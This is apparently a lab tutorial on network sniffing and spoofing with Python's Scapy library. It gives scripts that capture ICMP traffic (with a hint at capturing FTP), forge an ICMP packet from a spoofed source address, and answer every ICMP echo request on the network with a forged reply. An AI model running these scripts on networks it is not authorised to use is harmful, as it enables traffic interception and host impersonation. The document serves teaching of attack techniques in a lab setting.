Sniffing and spoofing

All scripts and scenarios assume the use of Linux machines. Some of the attacks is directly transferable to Windows and iOS.

Sniff all ICMP packets.

Obviously, the script is easily modified to sniff different packets. For example, we could filter on port 21 for all FTP traffic with filter='dst port 21'

#!/usr/bin/python3
from scapy.all import *

def print_pkt(pkt):
    pkt.show()
    
pkt = sniff(filter='icmp', prn=print_pkt)

Spoof an ICMP packet

The program first creates an IP packet and sets its destination and source IP address. In this case, destination IP is 10.0.2.5 (the target VM) and source IP is 10.0.2.10 which is an arbitrary IP. From there, an ICMP packet is created, which is encapsulated within the IP packet before the program sends out that packet.

#!/usr/bin/python3
from scapy.all import *

ip_pkt = IP(dst = '10.0.2.5', src = '10.0.2.10')
icmp_pkt = ICMP()
pkt = ip_pkt/icmp_pkt
send(pkt, verbose = 0)

Sniffing and-then spoofing

We can also combine the above to sniff for and respond to all ICMP request packets regardless of the intended receiver.

The function icmp response(pkt) checks if an ICMP packet is in pkt and if that ICMP packet is of type 8, that is a request. If this is the case we craft an IP packet with the source IP as the destination IP of the capture ICMP request. Also, the destination IP is set to be the same as the source IP of the captured ICMP request. Then an ICMP packet of type 0 is created, type 0 is an ICMP reply. Finally, the ICMP packet is added to the IP packet and the response is sent.

#!/usr/bin/python3
from scapy.all import *

def icmp_response(pkt):
    ip_pkt = IP(src=pkt[IP].dst, dst=pkt[IP].src, ihl=pkt[IP].ihl)
    icmp_pkt = ICMP(type=0, id=pkt[ICMP].id, seq=pkt[ICMP].seq)
    data = pkt[RAW].load
    response = ip_pkt/icmp_pkt/data
    send(response)

pkt = sniff(filter = 'icmp and icmp[icmptype]==8', prn=icmp_response)